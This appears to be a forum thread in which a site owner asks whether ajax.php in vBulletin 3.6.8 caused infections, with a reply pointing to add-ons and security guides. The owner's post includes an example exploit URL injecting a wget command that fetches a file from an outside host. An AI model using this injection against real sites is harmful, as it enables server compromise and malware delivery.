is ajax.php on vB 3.6.8 causing my security hole and malicious software infections?

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is ajax.php on vB 3.6.8 causing my security hole and malicious software infections?

07-19-2012, 02:47 PM

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Originally Posted by Simon Lloyd

It definitely wont be the ajax file, it's usually due to an add on poorly coded allowing access, if you have all the security patches for vb up to date for your installation then it will be from something else, do you have vbseo?

Check these too:
https://www.vbulletin.com/forum/entr...Forums-(Part-1)
https://www.vbulletin.com/forum/entr...Forums-(Part-2)
https://www.vbulletin.com/docs/html/securing_vbulletin
https://vborg.vbsupport.ru/showthread.php?t=193930

Yes I have VBSEO although I cant' even remember what it does.

It was definitely the ajax.php file in 3.6.8 - the guys at Total Server Solutions tried a test of the exploit on it and it worked. They put on a vb 4.x ajax.php file and tried the exploit, and it didn't work.

Exploit in 3.6.8 ajax.php (example):

Code:

http://forum.mydomain.com/ajax.php?global=wget%20http://www.whatever.com/images/logo2.png

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